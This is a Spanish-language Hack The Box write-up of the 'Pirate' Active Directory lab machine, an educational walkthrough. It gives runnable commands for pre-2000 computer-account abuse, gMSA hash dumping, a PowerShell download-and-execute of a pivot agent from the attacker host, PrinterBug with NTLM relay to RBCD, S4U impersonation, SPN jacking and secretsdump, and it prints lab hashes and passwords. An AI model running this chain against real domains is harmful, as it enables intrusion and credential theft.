Pirate WriteUp

Tabla de contenido

Pirate WriteUp

Pirate es una máquina de dificultad 🟥 Hard de la plataforma Hack The Box que modela un entorno de Active Directory empresarial con dos segmentos de red, pivoting y una cadena de ataque que encadena seis técnicas distintas. El objetivo es comprometer el Domain Controller partiendo de unas credenciales de bajo privilegio.

Al empezar, nos proporcionan unas credenciales iniciales: 🔑 pentest:p3nt3st2025!&

🗺️ Cadena de Ataque

Antes de entrar en detalle, aquí el resumen de la cadena completa:

Credenciales pentest (assumed breach)
      │
      ▼
Enumeración LDAP ► MS01$ con flag Pre-Windows 2000
      │
      ▼
Contraseña trivial ms01 ► TGT de MS01$
      │
      ▼
gMSA Dump ► Hash NTLM de gMSA_ADFS_prod$
      │
      ▼
WinRM en DC01 (sin privilegios de administrador)
      │
      ▼
Ligolo-MP ► Acceso a red interna 192.168.100.0/24
      │
      ▼
PrinterBug + NTLM Relay ► RBCD sobre WEB01
      │
      ▼
getST (S4U2Proxy) ► Administrator en WEB01
      │
      ▼
secretsdump WEB01 ► a.white:E2nvAOKSz5Xz2MJu [user.txt] 🚩
      │
      ▼
ForceChangePassword ► Control de a.white_ADM
      │
      ▼
WriteSPN + SPN Jacking ► Ticket como Administrator en DC01
      │
      ▼
secretsdump DC01 ► Domain Admin [root.txt] 🏴

Pirate es una de esas máquinas que te recuerda por qué el Active Directory sigue siendo tan jugoso en entornos reales. No hay exploits de kernel ni CVEs llamativos, todo el camino se construye encadenando configuraciones incorrectas, permisos heredados de otra época y delegaciones mal planificadas. Exactamente lo que encuentras en auditorías reales.

🔍 Reconocimiento

Lo primero, como siempre, es saber con qué estamos tratando.

echo "10.129.15.1 pirate.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv pirate.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -O --script vuln,default -oA scan -vvv pirate.htb

Cuando ves puertos 88 (Kerberos), 389 (LDAP), 3268 (Global Catalog) y 5985 (WinRM) juntos, ya sabes que estás frente a un Domain Controller. El SMB con signing habilitado también es un dato importante, lo usaremos más adelante para entender por qué ciertas técnicas de relay no funcionan directamente.

Antes de enumerar nada, confirmo las credenciales y genero el fichero de hosts automáticamente.

netexec smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' --generate-hosts-file hosts_file
{ echo -e "\n# Pirate Machine"; sort -V hosts_file; } | sudo tee -a /etc/hosts

🗂️ Enumeración LDAP, más de lo que parece

Con credenciales válidas, LDAP es una mina de información. Enumero usuarios, equipos y grupos:

netexec ldap dc01.pirate.htb -u pentest -p 'p3nt3st2025!&' --users
netexec ldap dc01.pirate.htb -u pentest -p 'p3nt3st2025!&' --computers
netexec ldap dc01.pirate.htb -u pentest -p 'p3nt3st2025!&' --groups

En los grupos aparece algo interesante: Pre-Windows 2000 Compatible Access con 4 miembros. Ese grupo existe por compatibilidad con sistemas Windows NT 4.0 y, si Authenticated Users está dentro, cualquier usuario del dominio puede leer prácticamente toda la información del directorio.

Entre los equipos veo MS01$, EXCH01$, WEB01$ y las cuentas gMSA. Lo que llama la atención de MS01$ y EXCH01$ es que no tienen registro DNS y su lastLogon es 0. Para confirmarlo:

ldapsearch -H ldap://dc01.pirate.htb \
  -D "pentest@pirate.htb" \
  -w 'p3nt3st2025!&' \
  -b "DC=pirate,DC=htb" \
  "(objectClass=computer)" \
  sAMAccountName lastLogon userAccountControl dNSHostName pwdLastSet

Para MS01$ el resultado es claro: lastLogon: 0, dNSHostName vacío y userAccountControl: 4128. Ese valor es la suma de 4096 (WORKSTATION_TRUST_ACCOUNT) + 32 (UF_USE_DES_KEY_ONLY, el flag de compatibilidad Pre-Windows 2000). La conclusión: la cuenta fue pre-creada en AD con esa casilla marcada pero nunca se unió al dominio. Eso significa que su contraseña nunca se cambió desde que se creó.

⏳ Pre-Windows 2000, contraseñas que nunca caducaron

Cuando un administrador crea una cuenta de equipo en AD con la opción Assign this computer account as a pre-Windows 2000 computer, la contraseña inicial que asigna el sistema es simplemente el nombre del equipo en minúsculas. Para MS01$, la contraseña sería ms01.

El módulo pre2k de netexec automatiza esta detección:

sudo ntpdate dc01.pirate.htb  # siempre sincronizar antes de usar Kerberos
netexec ldap dc01.pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -M pre2k

⚠️ Antes de que funcione, es probable que aparezca el error KRB_AP_ERR_SKEW. Kerberos requiere que el reloj del atacante no difiera más de 5 minutos del DC, así que hay que sincronizarlo primero con ntpdate.

sudo ntpdate dc01.pirate.htb  # siempre sincronizar antes de usar Kerberos

Una vez hecho, el módulo confirma las dos cuentas vulnerables y obtiene sus TGTs. También podemos obtener el ticket manualmente:

impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip 10.129.15.1
export KRB5CCNAME=MS01\$.ccache

🔓 gMSA Password Dump, el primer salto de privilegios

Las Group Managed Service Accounts (gMSA) son cuentas de servicio cuya contraseña gestiona el propio DC, la rota automáticamente, es de 120 caracteres y se almacena en AD. La clave está en el atributo msDS-GroupMSAMembership: una ACL que controla qué equipos o grupos pueden leer esa contraseña.

Con ldapsearch confirmé previamente que MS01$ aparece en esa lista para ambas cuentas gMSA. Ahora con su ticket podemos leer los hashes:

netexec ldap dc01.pirate.htb -k --use-kcache --gmsa
gMSA_ADCS_prod$  NTLM: 25c7f0eb586ed3a91375dbf2f6e4a3ea
gMSA_ADFS_prod$  NTLM: fd9ea7ac7820dba5155bd6ed2d850c09

La cuenta gMSA_ADFS_prod$ es miembro de Remote Management Users, lo que significa acceso WinRM al DC:

netexec winrm dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H fd9ea7ac7820dba5155bd6ed2d850c09
# [+] Pwn3d! ✅
evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H fd9ea7ac7820dba5155bd6ed2d850c09

Primer foothold en el DC, aunque sin privilegios de administrador.


🌐 Reconocimiento interno, descubriendo la red

Desde la shell en DC01 ejecuto ipconfig y confirmo que tiene dos interfaces: 10.129.15.1 (accesible desde mi Kali) y 192.168.100.1 (red interna). Ahora toca pivotar.

Configuro Ligolo-MP para tunelizar el tráfico hacia la red interna:

# En Kali
sudo systemctl start ligolomp.service
# En DC01 (via evil-winrm)
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/ligolomp.exe' -OutFile 'C:\Windows\Temp\ligolomp.exe'; Start-Process -NoNewWindow -FilePath 'C:\Windows\Temp\ligolomp.exe'"

Una vez conectado el agente, añado la ruta en la consola de Ligolo y escaneo la red:

netexec smb 192.168.100.0/24

Aparece WEB01 (192.168.100.2) con un detalle crucial: SMB signing deshabilitado 🎯. Esto es lo que hace posible el NTLM relay, si el signing estuviera activo, los paquetes van firmados y no se pueden relayar.

netexec smb 192.168.100.0/24 --generate-hosts-file hosts_file_2
{ echo -e "\n# Pirate Machine"; sort -V hosts_file_2; } | sudo tee -a /etc/hosts

⚡ NTLM Relay + PrinterBug, comprometiendo WEB01

Confirmo que el servicio Spooler está activo en WEB01:

netexec smb web01.pirate.htb -u 'gMSA_ADFS_prod$' -H fd9ea7ac7820dba5155bd6ed2d850c09 -M spooler

El plan es usar PrinterBug para forzar que WEB01 se autentique contra nosotros via NTLM, capturar esa autenticación con ntlmrelayx y configurar RBCD (Resource-Based Constrained Delegation) sobre WEB01. Esto nos permitirá suplantar a cualquier usuario, incluido Administrator.

Primero creo una cuenta de equipo controlada por mí, es necesaria para RBCD porque necesito un principal cuyas credenciales controle yo completamente:

impacket-addcomputer -computer-name 'hackpuntes' -computer-pass '1Qwerty!' \
  -dc-host dc01.pirate.htb 'pirate.htb/gMSA_ADFS_prod$' \
  -hashes :fd9ea7ac7820dba5155bd6ed2d850c09

Con todo listo, lanzo el ataque en dos terminales:

🖥️ Terminal 1:

sudo impacket-ntlmrelayx -t ldap://10.129.15.1 -smb2support --remove-mic \
  --delegate-access --escalate-user 'hackpuntes$'

🖥️ Terminal 2:

python3 printerbug.py -hashes :fd9ea7ac7820dba5155bd6ed2d850c09 \
  'pirate.htb/GMSA_ADFS_PROD$'@192.168.100.2 10.10.15.223

💡 El flag --remove-mic es necesario porque DC01 tiene SMB signing activo, elimina el Message Integrity Code del mensaje NTLM para que el relay funcione hacia LDAP.

Una vez que ntlmrelayx confirma que hackpuntes$ puede impersonar usuarios en WEB01, obtengo un ticket de Administrator:

impacket-getST pirate.htb/hackpuntes$:'1Qwerty!' \
  -spn cifs/WEB01.pirate.htb \
  -impersonate Administrator \
  -dc-ip 10.129.15.1

export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

Con ese ticket dumpeamos WEB01:

impacket-secretsdump -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb

Entre los secretos aparece en texto plano:

PIRATE\a.white:E2nvAOKSz5Xz2MJu

🚩 user.txt en el escritorio de a.white en WEB01.


🔄 ForceChangePassword + WriteSPN → Domain Admin

BloodHound revela que a.white tiene el permiso ForceChangePassword sobre a.white_ADM. Este permiso permite cambiar la contraseña de otro usuario sin conocer la actual:

bloodyAD --host 192.168.100.1 -d Pirate.htb \
  -u a.white -p E2nvAOKSz5Xz2MJu \
  set password 'a.white_ADM' '1Qwerty!'

Ahora compruebo las delegaciones de a.white_ADM:

impacket-findDelegation pirate.htb/a.white_adm:'1Qwerty!' -dc-ip 192.168.100.1

El resultado es la pieza que faltaba:

a.white_adm  Constrained w/ Protocol Transition  http/WEB01.pirate.htb

a.white_ADM tiene Constrained Delegation con Protocol Transition hacia el SPN http/WEB01.pirate.htb. Además, pertenece al grupo IT que tiene WriteSPN sobre DC01. Ahí está el vector: SPN Jacking 🎯.


🏴 SPN Jacking, el cierre

La idea del SPN Jacking es aprovechar que los SPNs son únicos en el dominio. Si el SPN http/WEB01.pirate.htb está registrado en WEB01$ y a.white_ADM tiene delegación hacia ese SPN, puedo mover ese SPN a DC01$ (usando el WriteSPN que tengo) y conseguir que la delegación apunte al DC en lugar de a WEB01.

Primero quito el SPN de WEB01:

python3 addspn.py -t 'WEB01$' -u 'pirate.htb\a.white_adm' -p '1Qwerty!' \
  'DC01.pirate.htb' -r --spn 'http/WEB01.pirate.htb'

Luego lo añado a DC01:

python3 addspn.py -t 'DC01$' -u 'pirate.htb\a.white_adm' -p '1Qwerty!' \
  'dc01.pirate.htb' -s 'http/WEB01.pirate.htb'

Ahora obtengo un ticket como Administrator para el SPN http/WEB01.pirate.htb, usando -altservice para reescribirlo como cifs/DC01.pirate.htb. Esto funciona porque el TGS está firmado por el KDC y DC01 lo acepta:

impacket-getST -spn 'http/WEB01.pirate.htb' \
  -impersonate administrator \
  'pirate.htb/a.white_adm:1Qwerty!' \
  -dc-ip 10.129.15.1 \
  -altservice 'cifs/DC01.pirate.htb'

export KRB5CCNAME=administrator@http_WEB01.pirate.htb@PIRATE.HTB.ccache

impacket-secretsdump -k -no-pass dc01.pirate.htb

🏴 Domain Admin comprometido. root.txt en el escritorio de Administrator del DC.


📋 Notas finales

Algunas cosas que vale la pena recordar de esta máquina:

⏰ El clock skew de Kerberos es uno de los problemas más frecuentes cuando atacas AD desde Linux. Siempre sincroniza el reloj con ntpdate antes de pedir tickets. Los 5 minutos de margen que da Kerberos se pasan antes de lo que parece.

🔏 El SMB signing en DC01 no impide el relay si lo diriges correctamente. El flag --remove-mic de ntlmrelayx elimina el Message Integrity Code y permite relayar aunque haya signing activo, siempre que el destino final (LDAP en este caso) no lo requiera también.

👴 Las cuentas Pre-Windows 2000 son más comunes de lo que parece en entornos que llevan mucho tiempo activos o que han migrado desde infraestructuras antiguas. Siempre merece la pena comprobarlas con el módulo pre2k.

🎯 El SPN Jacking es una técnica elegante que combina WriteSPN con Constrained Delegation. La clave conceptual es que los SPNs son únicos en el directorio, si mueves el SPN al objeto que quieres comprometer, la delegación te sigue.